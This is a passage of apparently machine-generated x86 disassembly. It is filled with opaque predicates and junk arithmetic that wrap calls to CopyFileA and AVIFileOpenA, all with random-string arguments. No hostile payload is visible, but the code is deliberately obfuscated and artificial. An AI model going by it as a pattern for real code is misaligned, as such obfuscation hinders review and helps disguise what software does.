push eax
mov ecx, dword [ebp - 0x7380]
push ecx
mov edx, dword [ebp - 0x7384]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7388], eax
jmp 0x407727
mov dword [ebp - 0x738c], str.UNZbyzbJuZYCaDk8GBdhN
mov dword [ebp - 0x7390], str.qutp2X03HEr8RjgPdHCJGmr
mov eax, dword [ebp - 0x9ac]
cmp eax, dword [ebp - 0x9ac]
je 0x407604
mov dword [ebp - 0x25a8], 1
jmp 0x40760e
mov dword [ebp - 0x25a8], 0
cmp dword [ebp - 0x25a8], 0xda
je 0x407626
mov dword [ebp - 0x25ac], 1
jmp 0x407630
mov dword [ebp - 0x25ac], 0
mov ecx, dword [ebp - 0x9ac]
sub ecx, dword [ebp - 0x9ac]
cmp dword [ebp - 0x25ac], ecx
je 0x407650
mov dword [ebp - 0x25b8], 1
jmp 0x40765a
mov dword [ebp - 0x25b8], 0
mov edx, 0x4e
sub edx, dword [ebp - 0x9ac]
cmp edx, dword [ebp - 0x9ac]
jne 0x407679
mov dword [ebp - 0x25b0], 1
jmp 0x407683
mov dword [ebp - 0x25b0], 0
cmp dword [ebp - 0x9ac], 0xd6
jne 0x40769b
mov dword [ebp - 0x25b4], 1
jmp 0x4076a5
mov dword [ebp - 0x25b4], 0
mov eax, dword [ebp - 0x9ac]
add eax, 0xcd
and eax, dword [ebp - 0x25b0]
and eax, dword [ebp - 0x25b4]
or eax, dword [ebp - 0x25b8]
or eax, dword [ebp - 0x9ac]
mov dword [ebp - 0xb7c], eax
mov ecx, dword [ebp - 0xb7c]
neg ecx
xor ecx, dword [ebp - 0xb7c]
and ecx, 1
or ecx, 1
mov dword [ebp - 0xb7c], ecx
mov edx, dword [ebp - 0xb7c]
add edx, 1
mov dword [ebp - 0xb7c], edx
mov eax, dword [ebp - 0xb7c]
add eax, 1
mov dword [ebp - 0xb7c], eax
mov ecx, dword [ebp - 0xb7c]
push ecx
mov edx, dword [ebp - 0x738c]
push edx
mov eax, dword [ebp - 0x7390]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7394], eax
mov dword [ebp - 0x7398], str.QfsHxRQBzrborzB4iRW6Dj
mov ecx, dword [ebp - 0x9b0]
sub ecx, 0x94
mov edx, dword [ebp - 0x9b0]
sub edx, dword [ebp - 0x9b0]
cmp ecx, edx
je 0x407759
mov dword [ebp - 0x25bc], 1
jmp 0x407763
mov dword [ebp - 0x25bc], 0
mov eax, dword [ebp - 0x9b0]
imul eax, dword [ebp - 0x9b0]
imul ecx, dword [ebp - 0x9b0], 0x3d
cmp eax, ecx
je 0x407787
mov dword [ebp - 0x25c0], 1
jmp 0x407791
mov dword [ebp - 0x25c0], 0
mov edx, dword [ebp - 0x9b0]
and edx, dword [ebp - 0x25bc]
xor edx, dword [ebp - 0x9b0]
xor edx, 0x95
mov eax, dword [ebp - 0x9b0]
sub eax, 0x1b
and eax, dword [ebp - 0x25c0]
or edx, eax
mov dword [ebp - 0x1190], edx
mov ecx, dword [ebp - 0x1190]
neg ecx
xor ecx, dword [ebp - 0x1190]
and ecx, 1
add ecx, 1
imul edx, ecx, 5
mov dword [ebp - 0x1190], edx
push 0
mov eax, dword [ebp - 0x1190]
push eax
mov ecx, dword [ebp - 0x7398]
push ecx
lea edx, [ebp - 0x9430]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1ad8], eax
cmp dword [ebp - 0x1ad8], 0
je 0x40780a
jmp 0x407819
mov eax, dword [ebp - 0x1ad8]
add eax, 1
mov dword [ebp - 0x1ad8], eax
mov dword [ebp - 0x739c], str.f2wEsAaR2
imul ecx, dword [ebp - 0x724], 0x5d
mov edx, dword [ebp - 0x724]
sub edx, 0xc7
cmp ecx, edx
jne 0x407846
mov dword [ebp - 0x25c4], 1
jmp 0x407850
mov dword [ebp - 0x25c4], 0
mov eax, dword [ebp - 0x25c4]
cmp eax, dword [ebp - 0x724]
jne 0x40786a
mov dword [ebp - 0x25c8], 1
jmp 0x407874
mov dword [ebp - 0x25c8], 0
imul ecx, dword [ebp - 0x724], 0x99
imul ecx, dword [ebp - 0x724]
sub ecx, dword [ebp - 0x724]
and ecx, dword [ebp - 0x25c8]
imul edx, dword [ebp - 0x724], 0x33
or ecx, edx
mov dword [ebp - 0x1194], ecx
mov eax, dword [ebp - 0x1194]
neg eax
and eax, 1
mov ecx, dword [ebp - 0x1194]
and ecx, 1
cmp eax, ecx
je 0x4078c4
mov dword [ebp - 0x25cc], 1
jmp 0x4078ce
mov dword [ebp - 0x25cc], 0
mov edx, dword [ebp - 0x25cc]
add edx, 1
mov dword [ebp - 0x1194], edx
push 0
mov eax, dword [ebp - 0x1194]
push eax
mov ecx, dword [ebp - 0x739c]
push ecx
lea edx, [ebp - 0x9434]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0
je 0x407a5b
mov dword [ebp - 0x73a0], str.8cIY3BvcW2Pkl
mov dword [ebp - 0x73a4], str.ZoItYbz8Aumc9gE
imul eax, dword [ebp - 0x1e8], 0x9d
cmp dword [ebp - 0x1e8], eax
je 0x40793e
mov dword [ebp - 0x25d4], 1
jmp 0x407948
mov dword [ebp - 0x25d4], 0
cmp dword [ebp - 0x1e8], 0x3e
je 0x40795d
mov dword [ebp - 0x25d0], 1
jmp 0x407967
mov dword [ebp - 0x25d0], 0
mov ecx, dword [ebp - 0x25d0]
cmp ecx, dword [ebp - 0x1e8]
je 0x407981
mov dword [ebp - 0x25d8], 1
jmp 0x40798b
mov dword [ebp - 0x25d8], 0
cmp dword [ebp - 0x1e8], 0x24
je 0x4079a0
mov dword [ebp - 0x25dc], 1
jmp 0x4079aa
mov dword [ebp - 0x25dc], 0
mov edx, dword [ebp - 0x25d4]
and edx, dword [ebp - 0x25d8]
xor edx, dword [ebp - 0x1e8]
imul eax, dword [ebp - 0x1e8], 0xe
imul ecx, eax, 0xba
and ecx, 0xdc
or edx, ecx
or edx, dword [ebp - 0x25dc]
mov dword [ebp - 0xb80], edx
mov edx, dword [ebp - 0xb80]
neg edx
and edx, 1
mov eax, dword [ebp - 0xb80]
and eax, 1
cmp edx, eax
je 0x407a01
mov dword [ebp - 0x25e0], 1
jmp 0x407a0b
mov dword [ebp - 0x25e0], 0
mov ecx, dword [ebp - 0x25e0]
add ecx, 1
mov dword [ebp - 0xb80], ecx
mov edx, dword [ebp - 0xb80]
add edx, 1
mov dword [ebp - 0xb80], edx
mov eax, dword [ebp - 0xb80]
add eax, 1
mov dword [ebp - 0xb80], eax
mov ecx, dword [ebp - 0xb80]
push ecx
mov edx, dword [ebp - 0x73a0]
push edx
mov eax, dword [ebp - 0x73a4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x73a8], eax
jmp 0x407a6a
mov ecx, dword [ebp - 0x1e8]
add ecx, 1
mov dword [ebp - 0x1e8], ecx
mov dword [ebp - 0x73ac], str.IjwwZNpgx9xIEdQDky2
mov dword [ebp - 0x73b0], str.T2ZFD1jMexOEoNr58qEbU8t
mov edx, dword [ebp - 0x1e8]
cmp edx, dword [ebp - 0x1e8]
je 0x407a98
mov dword [ebp - 0x25e4], 1
jmp 0x407aa2
mov dword [ebp - 0x25e4], 0
cmp dword [ebp - 0x25e4], 0x94
jne 0x407aba
mov dword [ebp - 0x25e8], 1
jmp 0x407ac4
mov dword [ebp - 0x25e8], 0
mov eax, dword [ebp - 0x25e8]
cmp eax, dword [ebp - 0x1e8]
jne 0x407ade
mov dword [ebp - 0x25f0], 1
jmp 0x407ae8
mov dword [ebp - 0x25f0], 0
imul ecx, dword [ebp - 0x1e8], 0x84
add ecx, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x1e8]
add edx, 0x6f
cmp ecx, edx
je 0x407b11
mov dword [ebp - 0x25ec], 1
jmp 0x407b1b
mov dword [ebp - 0x25ec], 0
cmp dword [ebp - 0x25ec], 0xfc
je 0x407b33
mov dword [ebp - 0x25f4], 1
jmp 0x407b3d
mov dword [ebp - 0x25f4], 0
mov eax, dword [ebp - 0x1e8]
and eax, dword [ebp - 0x25f0]
and eax, dword [ebp - 0x1e8]
mov ecx, dword [ebp - 0x1e8]
add ecx, 0xb0
sub ecx, dword [ebp - 0x1e8]
xor eax, ecx
mov edx, dword [ebp - 0x1e8]
imul edx, dword [ebp - 0x1e8]
and edx, dword [ebp - 0x25f4]
or eax, edx
mov dword [ebp - 0xb84], eax
mov eax, dword [ebp - 0xb84]
neg eax
and eax, 1
mov ecx, dword [ebp - 0xb84]
and ecx, 1
cmp eax, ecx
je 0x407ba2
mov dword [ebp - 0x25f8], 1
jmp 0x407bac
mov dword [ebp - 0x25f8], 0
mov edx, dword [ebp - 0x25f8]
or edx, 1
mov dword [ebp - 0xb84], edx
mov eax, dword [ebp - 0xb84]
add eax, 1
mov dword [ebp - 0xb84], eax
mov ecx, dword [ebp - 0xb84]
add ecx, 1
mov dword [ebp - 0xb84], ecx
mov edx, dword [ebp - 0xb84]
push edx
mov eax, dword [ebp - 0x73ac]
push eax
mov ecx, dword [ebp - 0x73b0]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x73b4], eax
jmp 0x407c0b
mov edx, dword [ebp - 0x160]
add edx, 1
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x73b8], str.eERLsa1nA3LSNDZTD7yVZN
mov dword [ebp - 0x73bc], str.AEOTVgSOR00WjgpbG6raCnqdhZ
mov eax, dword [ebp - 0x160]
add eax, 0x3a
sub eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x160]
imul ecx, dword [ebp - 0x160]
cmp eax, ecx
jne 0x407c4b
mov dword [ebp - 0x25fc], 1
jmp 0x407c55
mov dword [ebp - 0x25fc], 0
cmp dword [ebp - 0x25fc], 8
jne 0x407c6a
mov dword [ebp - 0x2600], 1
jmp 0x407c74
mov dword [ebp - 0x2600], 0
mov edx, dword [ebp - 0x160]
imul edx, dword [ebp - 0x160]
add edx, 0x9d
cmp dword [ebp - 0x2600], edx
je 0x407c9b
mov dword [ebp - 0x2604], 1
jmp 0x407ca5
mov dword [ebp - 0x2604], 0
mov eax, dword [ebp - 0x160]
sub eax, 0xe2
mov ecx, dword [ebp - 0x160]
sub ecx, dword [ebp - 0x160]
cmp eax, ecx
jne 0x407ccc
mov dword [ebp - 0x2608], 1
jmp 0x407cd6
mov dword [ebp - 0x2608], 0
mov edx, dword [ebp - 0x2604]
and edx, dword [ebp - 0x2608]
xor edx, dword [ebp - 0x160]
mov dword [ebp - 0x548], edx
mov eax, dword [ebp - 0x548]
add eax, dword [ebp - 0x548]
and eax, 1
add eax, 1
mov dword [ebp - 0x548], eax
mov ecx, dword [ebp - 0x548]
add ecx, 1
mov dword [ebp - 0x548], ecx
mov edx, dword [ebp - 0x548]
add edx, 1
mov dword [ebp - 0x548], edx
mov eax, dword [ebp - 0x548]
push eax
mov ecx, dword [ebp - 0x73b8]
push ecx
mov edx, dword [ebp - 0x73bc]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0
je 0x408caf
mov dword [ebp - 0x73c0], str.1eTwVy1XxcQviB
mov dword [ebp - 0x73c4], str.egRCHak3LujWAtWiil3Sd3
cmp dword [ebp - 0x1f4], 3
jne 0x407d7b
mov dword [ebp - 0x260c], 1
jmp 0x407d85
mov dword [ebp - 0x260c], 0
mov eax, dword [ebp - 0x1f4]
add eax, 0x82
cmp eax, dword [ebp - 0x1f4]
jne 0x407da4
mov dword [ebp - 0x2610], 1
jmp 0x407dae
mov dword [ebp - 0x2610], 0
imul ecx, dword [ebp - 0x1f4], 0xcc
add ecx, dword [ebp - 0x1f4]
add ecx, dword [ebp - 0x1f4]
cmp dword [ebp - 0x1f4], ecx
je 0x407dd8
mov dword [ebp - 0x2614], 1
jmp 0x407de2
mov dword [ebp - 0x2614], 0
mov edx, dword [ebp - 0x260c]
and edx, dword [ebp - 0x1f4]
xor edx, dword [ebp - 0x2610]
mov eax, dword [ebp - 0x1f4]
imul eax, dword [ebp - 0x1f4]
mov ecx, dword [ebp - 0x1f4]
sub ecx, eax
xor edx, ecx
xor edx, dword [ebp - 0x2614]
xor edx, dword [ebp - 0x1f4]
mov dword [ebp - 0x544], edx
mov edx, dword [ebp - 0x544]
add edx, dword [ebp - 0x544]
and edx, 1
or edx, 1
mov dword [ebp - 0x544], edx
mov eax, dword [ebp - 0x544]
add eax, 1
mov dword [ebp - 0x544], eax
mov ecx, dword [ebp - 0x544]
add ecx, 1
mov dword [ebp - 0x544], ecx
mov edx, dword [ebp - 0x544]
push edx
mov eax, dword [ebp - 0x73c0]
push eax
mov ecx, dword [ebp - 0x73c4]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
je 0x408338
mov dword [ebp - 0x73c8], str.kH8qemXEo0dBxPtu4083O
mov dword [ebp - 0x73cc], str.nNgvFizRQ11a
imul edx, dword [ebp - 0x64], 0xfe
add edx, 0xda
cmp dword [ebp - 0x64], edx
je 0x407ead
mov dword [ebp - 0x2618], 1
jmp 0x407eb7
mov dword [ebp - 0x2618], 0
mov eax, dword [ebp - 0x2618]
cmp eax, dword [ebp - 0x64]
jne 0x407ece
mov dword [ebp - 0x2628], 1
jmp 0x407ed8
mov dword [ebp - 0x2628], 0
imul ecx, dword [ebp - 0x64], 0x5d
sub ecx, 0x48
add ecx, dword [ebp - 0x64]
cmp ecx, 0x19
je 0x407ef3
mov dword [ebp - 0x261c], 1
jmp 0x407efd
mov dword [ebp - 0x261c], 0
mov edx, dword [ebp - 0x64]
imul edx, dword [ebp - 0x64]
add edx, dword [ebp - 0x64]
add edx, dword [ebp - 0x64]
cmp dword [ebp - 0x261c], edx
je 0x407f1e
mov dword [ebp - 0x2620], 1
jmp 0x407f28
mov dword [ebp - 0x2620], 0
mov eax, dword [ebp - 0x64]
add eax, dword [ebp - 0x64]
cmp dword [ebp - 0x2620], eax
jne 0x407f42
mov dword [ebp - 0x2624], 1
jmp 0x407f4c
mov dword [ebp - 0x2624], 0
imul ecx, dword [ebp - 0x64], 0xb
imul ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x64]
sub edx, ecx
and edx, dword [ebp - 0x2624]
or edx, dword [ebp - 0x2628]
mov dword [ebp - 0xa60], edx
mov eax, dword [ebp - 0xa60]
add eax, dword [ebp - 0xa60]
and eax, 1
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0xa60]
add ecx, 1
mov dword [ebp - 0xa60], ecx
mov edx, dword [ebp - 0xa60]
add edx, 1
mov dword [ebp - 0xa60], edx
mov eax, dword [ebp - 0xa60]
push eax
mov ecx, dword [ebp - 0x73c8]
push ecx
mov edx, dword [ebp - 0x73cc]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x918], eax
cmp dword [ebp - 0x918], 0
je 0x4080cd
mov dword [ebp - 0x73d0], str.zmZn1q0SttDD0LUYo9XhT3
imul eax, dword [ebp - 0x918], 0x11
cmp dword [ebp - 0x918], eax
jne 0x407ff4
mov dword [ebp - 0x2634], 1
jmp 0x407ffe
mov dword [ebp - 0x2634], 0
mov ecx, dword [ebp - 0x918]
add ecx, 0x2b
cmp ecx, 0x32
jne 0x408018
mov dword [ebp - 0x262c], 1
jmp 0x408022
mov dword [ebp - 0x262c], 0
mov edx, dword [ebp - 0x262c]
cmp edx, dword [ebp - 0x918]
je 0x40803c
mov dword [ebp - 0x2630], 1
jmp 0x408046
mov dword [ebp - 0x2630], 0
mov eax, dword [ebp - 0x2630]
and eax, dword [ebp - 0x918]
mov ecx, 0xa9
sub ecx, dword [ebp - 0x918]
imul edx, dword [ebp - 0x918], 0x21
add ecx, edx
and eax, ecx
xor eax, dword [ebp - 0x2634]
mov dword [ebp - 0x1198], eax
mov eax, dword [ebp - 0x1198]
add eax, dword [ebp - 0x1198]
and eax, 1
or eax, 5
mov dword [ebp - 0x1198], eax
push 0
mov ecx, dword [ebp - 0x1198]
push ecx
mov edx, dword [ebp - 0x73d0]
push edx
lea eax, [ebp - 0x9438]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1adc], eax
cmp dword [ebp - 0x1adc], 0
je 0x4080b9
jmp 0x4080c8
mov ecx, dword [ebp - 0x1adc]
add ecx, 1
mov dword [ebp - 0x1adc], ecx
jmp 0x408208
mov dword [ebp - 0x73d4], str.pHqsYcbCMEixBctplQ
mov dword [ebp - 0x73d8], str.Lj3rDRVlG0TdNQT
mov edx, dword [ebp - 0xa60]
add edx, 0x84
cmp edx, 0x48
je 0x4080fe
mov dword [ebp - 0x2638], 1
jmp 0x408108
mov dword [ebp - 0x2638], 0
mov eax, dword [ebp - 0xa60]
add eax, 0xfd
add eax, dword [ebp - 0xa60]
cmp dword [ebp - 0x2638], eax
je 0x40812d
mov dword [ebp - 0x263c], 1
jmp 0x408137
mov dword [ebp - 0x263c], 0
cmp dword [ebp - 0x263c], 0x6d
jne 0x40814c
mov dword [ebp - 0x2640], 1
jmp 0x408156
mov dword [ebp - 0x2640], 0
imul ecx, dword [ebp - 0xa60], 0x5d
cmp ecx, 0xe4
je 0x408171
mov dword [ebp - 0x2644], 1
jmp 0x40817b
mov dword [ebp - 0x2644], 0
mov edx, dword [ebp - 0xa60]
and edx, 0x73
xor edx, dword [ebp - 0xa60]
mov eax, dword [ebp - 0xa60]
add eax, 0x9b
mov ecx, dword [ebp - 0x2640]
and ecx, dword [ebp - 0xa60]
and ecx, dword [ebp - 0x2644]
xor eax, ecx
or edx, eax
mov dword [ebp - 0xb88], edx
mov edx, dword [ebp - 0xb88]
add edx, dword [ebp - 0xb88]
and edx, 1
add edx, 1
mov dword [ebp - 0xb88], edx
mov eax, dword [ebp - 0xb88]
add eax, 1
mov dword [ebp - 0xb88], eax
mov ecx, dword [ebp - 0xb88]
add ecx, 1
mov dword [ebp - 0xb88], ecx
mov edx, dword [ebp - 0xb88]
push edx
mov eax, dword [ebp - 0x73d4]
push eax
mov ecx, dword [ebp - 0x73d8]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x73dc], eax
mov dword [ebp - 0x73e0], str.f2wdLa2NXoDPpWuDVCbVcODkTC
mov edx, dword [ebp - 0x918]
sub edx, 0xf7
imul eax, dword [ebp - 0x918], 0xd1
mov ecx, dword [ebp - 0x918]
imul ecx, dword [ebp - 0x918]
sub eax, ecx
cmp edx, eax
jne 0x408247
mov dword [ebp - 0x2648], 1
jmp 0x408251
mov dword [ebp - 0x2648], 0
mov edx, dword [ebp - 0x918]
add edx, 0x3b
cmp edx, 0x25
jne 0x40826b
mov dword [ebp - 0x264c], 1
jmp 0x408275
mov dword [ebp - 0x264c], 0
mov eax, dword [ebp - 0x2648]
and eax, dword [ebp - 0x264c]
mov ecx, dword [ebp - 0x918]
add ecx, 0x34
xor eax, ecx
or eax, dword [ebp - 0x918]
mov edx, dword [ebp - 0x918]
imul edx, dword [ebp - 0x918]
imul edx, dword [ebp - 0x918]
sub edx, 0xa6
and edx, 0x26
or eax, edx
mov dword [ebp - 0x119c], eax
mov eax, dword [ebp - 0x119c]
neg eax
and eax, 1
mov ecx, dword [ebp - 0x119c]
and ecx, 1
cmp eax, ecx
je 0x4082db
mov dword [ebp - 0x2650], 1
jmp 0x4082e5
mov dword [ebp - 0x2650], 0
mov edx, dword [ebp - 0x2650]
add edx, 1
shl edx, 2
mov dword [ebp - 0x119c], edx
push 0
mov eax, dword [ebp - 0x119c]
push eax
mov ecx, dword [ebp - 0x73e0]
push ecx
lea edx, [ebp - 0x943c]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1ae0], eax
cmp dword [ebp - 0x1ae0], 0
je 0x408324
jmp 0x408333
mov eax, dword [ebp - 0x1ae0]
add eax, 1
mov dword [ebp - 0x1ae0], eax
jmp 0x4088d0
mov dword [ebp - 0x73e4], str.Qnt1N8o8qk1p5tUflmfT9Cn7
mov dword [ebp - 0x73e8], str.vvRXwk0U8h2wm7ECf7lfJmmWwM3t2
mov ecx, dword [ebp - 0x544]
add ecx, 0x20
cmp dword [ebp - 0x544], ecx
jne 0x408369
mov dword [ebp - 0x2654], 1
jmp 0x408373
mov dword [ebp - 0x2654], 0
mov edx, dword [ebp - 0x544]
imul edx, dword [ebp - 0x544]
mov eax, dword [ebp - 0x544]
sub eax, edx
sub eax, dword [ebp - 0x544]
cmp dword [ebp - 0x2654], eax
jne 0x4083a2
mov dword [ebp - 0x2658], 1
jmp 0x4083ac
mov dword [ebp - 0x2658], 0
mov ecx, dword [ebp - 0x544]
imul ecx, dword [ebp - 0x544]
cmp ecx, 0x1a
jne 0x4083ca
mov dword [ebp - 0x265c], 1
jmp 0x4083d4
mov dword [ebp - 0x265c], 0
mov edx, dword [ebp - 0x544]
xor edx, 0x2c
imul eax, dword [ebp - 0x544], 3
sub eax, dword [ebp - 0x544]
xor eax, dword [ebp - 0x2658]
or edx, eax
or edx, 0x19
mov ecx, dword [ebp - 0x544]
imul ecx, dword [ebp - 0x544]
mov eax, dword [ebp - 0x544]
and eax, 0x6a
and eax, dword [ebp - 0x265c]
xor ecx, eax
or edx, ecx
mov dword [ebp - 0x9b4], edx
mov ecx, dword [ebp - 0x9b4]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x9b4]
and edx, 1
cmp ecx, edx
je 0x40843f
mov dword [ebp - 0x2660], 1
jmp 0x408449
mov dword [ebp - 0x2660], 0
mov eax, dword [ebp - 0x2660]
add eax, 1
mov dword [ebp - 0x9b4], eax
mov ecx, dword [ebp - 0x9b4]
add ecx, 1
mov dword [ebp - 0x9b4], ecx
mov edx, dword [ebp - 0x9b4]
add edx, 1
mov dword [ebp - 0x9b4], edx
mov eax, dword [ebp - 0x9b4]
push eax
mov ecx, dword [ebp - 0x73e4]
push ecx
mov edx, dword [ebp - 0x73e8]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0
je 0x408642
mov dword [ebp - 0x73ec], str.tZtAKoldVblZYwzBkhPMQV6LDfAD6M
mov dword [ebp - 0x73f0], str.R3s5IhBpMaVziitf65pBger0tGHfytfz
imul eax, dword [ebp - 0x1ec], 0xe0
cmp eax, dword [ebp - 0x1ec]
jne 0x4084d6
mov dword [ebp - 0x2664], 1
jmp 0x4084e0
mov dword [ebp - 0x2664], 0
imul ecx, dword [ebp - 0x1ec], 0xfe
cmp dword [ebp - 0x2664], ecx
je 0x4084fe
mov dword [ebp - 0x266c], 1
jmp 0x408508
mov dword [ebp - 0x266c], 0
mov edx, dword [ebp - 0x1ec]
add edx, 0x8e
mov eax, dword [ebp - 0x1ec]
imul eax, dword [ebp - 0x1ec]
cmp edx, eax
jne 0x408531
mov dword [ebp - 0x2670], 1
jmp 0x40853b
mov dword [ebp - 0x2670], 0
mov ecx, dword [ebp - 0x1ec]
sub ecx, 0xd5
cmp ecx, dword [ebp - 0x1ec]
jne 0x40855b
mov dword [ebp - 0x2668], 1
jmp 0x408565
mov dword [ebp - 0x2668], 0
mov edx, dword [ebp - 0x1ec]
sub edx, 0xf9
cmp dword [ebp - 0x2668], edx
jne 0x408585
mov dword [ebp - 0x2674], 1
jmp 0x40858f
mov dword [ebp - 0x2674], 0
mov eax, dword [ebp - 0x1ec]
add eax, 0xf
sub eax, dword [ebp - 0x1ec]
cmp eax, 0xf8
je 0x4085b1
mov dword [ebp - 0x2678], 1
jmp 0x4085bb
mov dword [ebp - 0x2678], 0
mov ecx, dword [ebp - 0x1ec]
or ecx, dword [ebp - 0x266c]
or ecx, dword [ebp - 0x2670]
mov edx, dword [ebp - 0x2674]
and edx, 0x7c
and edx, dword [ebp - 0x2678]
or ecx, edx
mov dword [ebp - 0xb8c], ecx
mov eax, dword [ebp - 0xb8c]
neg eax
xor eax, dword [ebp - 0xb8c]
and eax, 1
add eax, 1
mov dword [ebp - 0xb8c], eax
mov ecx, dword [ebp - 0xb8c]
add ecx, 1
mov dword [ebp - 0xb8c], ecx
mov edx, dword [ebp - 0xb8c]
add edx, 1
mov dword [ebp - 0xb8c], edx
mov eax, dword [ebp - 0xb8c]
push eax
mov ecx, dword [ebp - 0x73ec]
push ecx
mov edx, dword [ebp - 0x73f0]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x73f4], eax
jmp 0x408763
mov dword [ebp - 0x73f8], str.a61uCAcDlhgAOb6g8nH4my4pxhi
mov eax, dword [ebp - 0x9b4]
cmp eax, dword [ebp - 0x9b4]
je 0x408666
mov dword [ebp - 0x267c], 1
jmp 0x408670
mov dword [ebp - 0x267c], 0
cmp dword [ebp - 0x9b4], 0x3b
je 0x408685
mov dword [ebp - 0x2680], 1
jmp 0x40868f
mov dword [ebp - 0x2680], 0
cmp dword [ebp - 0x9b4], 0x10
je 0x4086a4
mov dword [ebp - 0x2684], 1
jmp 0x4086ae
mov dword [ebp - 0x2684], 0
imul ecx, dword [ebp - 0x9b4], 5
add ecx, dword [ebp - 0x9b4]
and ecx, dword [ebp - 0x267c]
xor ecx, dword [ebp - 0x2680]
mov edx, dword [ebp - 0x9b4]
add edx, dword [ebp - 0x9b4]
add edx, 0x2f
and edx, dword [ebp - 0x2684]
and edx, dword [ebp - 0x9b4]
xor ecx, edx
mov dword [ebp - 0x11a0], ecx
mov eax, dword [ebp - 0x11a0]
neg eax
and eax, 1
mov ecx, dword [ebp - 0x11a0]
and ecx, 1
cmp eax, ecx
je 0x40870e
mov dword [ebp - 0x2688], 1
jmp 0x408718
mov dword [ebp - 0x2688], 0
mov edx, dword [ebp - 0x2688]
add edx, 4
mov dword [ebp - 0x11a0], edx
push 0
mov eax, dword [ebp - 0x11a0]
push eax
mov ecx, dword [ebp - 0x73f8]
push ecx
lea edx, [ebp - 0x9440]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1ae4], eax
cmp dword [ebp - 0x1ae4], 0
je 0x408754
jmp 0x408763
mov eax, dword [ebp - 0x1ae4]
add eax, 1
mov dword [ebp - 0x1ae4], eax
mov dword [ebp - 0x73fc], str.nHv2lkt9wDrVsFOOPMo25mrrVMgKtZl
mov dword [ebp - 0x7400], str.UkHAnGbgBVD8996C7U8hee
mov ecx, dword [ebp - 0x1ec]
imul ecx, dword [ebp - 0x1ec]
cmp ecx, 0x65
je 0x408795
mov dword [ebp - 0x2690], 1
jmp 0x40879f
mov dword [ebp - 0x2690], 0
mov edx, dword [ebp - 0x1ec]
sub edx, 7
cmp edx, 0x55
jne 0x4087b9
mov dword [ebp - 0x2694], 1
jmp 0x4087c3
mov dword [ebp - 0x2694], 0
mov eax, dword [ebp - 0x1ec]
cmp eax, dword [ebp - 0x1ec]
je 0x4087dd
mov dword [ebp - 0x268c], 1
jmp 0x4087e7
mov dword [ebp - 0x268c], 0
imul ecx, dword [ebp - 0x1ec], 0xf
imul ecx, dword [ebp - 0x1ec]
cmp dword [ebp - 0x268c], ecx
je 0x408809
mov dword [ebp - 0x269c], 1
jmp 0x408813
mov dword [ebp - 0x269c], 0
mov edx, dword [ebp - 0x1ec]
cmp edx, dword [ebp - 0x1ec]
jne 0x40882d
mov dword [ebp - 0x2698], 1
jmp 0x408837
mov dword [ebp - 0x2698], 0
mov eax, dword [ebp - 0x1ec]
sub eax, dword [ebp - 0x1ec]
and eax, dword [ebp - 0x2690]
or eax, dword [ebp - 0x2694]
mov ecx, dword [ebp - 0x1ec]
and ecx, dword [ebp - 0x2698]
xor ecx, dword [ebp - 0x269c]
or eax, ecx
mov edx, dword [ebp - 0x1ec]
add edx, 0x8d
or eax, edx
mov dword [ebp - 0xb90], eax
mov eax, dword [ebp - 0xb90]
neg eax
xor eax, dword [ebp - 0xb90]
and eax, 1
add eax, 1
mov dword [ebp - 0xb90], eax
mov ecx, dword [ebp - 0xb90]
add ecx, 1
mov dword [ebp - 0xb90], ecx
mov edx, dword [ebp - 0xb90]
add edx, 1
mov dword [ebp - 0xb90], edx
mov eax, dword [ebp - 0xb90]
push eax
mov ecx, dword [ebp - 0x73fc]
push ecx
mov edx, dword [ebp - 0x7400]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7404], eax
mov dword [ebp - 0x7408], str.HoHjjv32xPQztbGs2bFAON4q
cmp dword [ebp - 0x64], 0xfc
je 0x4088ef
mov dword [ebp - 0x26a0], 1
jmp 0x4088f9
mov dword [ebp - 0x26a0], 0
mov eax, dword [ebp - 0x26a0]
cmp eax, dword [ebp - 0x64]
jne 0x408910
mov dword [ebp - 0x26a4], 1
jmp 0x40891a
mov dword [ebp - 0x26a4], 0
mov ecx, dword [ebp - 0x64]
cmp ecx, dword [ebp - 0x64]
jne 0x40892e
mov dword [ebp - 0x26a8], 1
jmp 0x408938
mov dword [ebp - 0x26a8], 0
mov edx, dword [ebp - 0x64]
add edx, 0x58
add edx, dword [ebp - 0x64]
cmp dword [ebp - 0x64], edx
jne 0x408952
mov dword [ebp - 0x26ac], 1
jmp 0x40895c
mov dword [ebp - 0x26ac], 0
mov eax, dword [ebp - 0x64]
sub eax, 0x61
mov ecx, dword [ebp - 0x64]
sub ecx, dword [ebp - 0x64]
cmp eax, ecx
je 0x408978
mov dword [ebp - 0x26b0], 1
jmp 0x408982
mov dword [ebp - 0x26b0], 0
mov edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0x64]
jne 0x408996
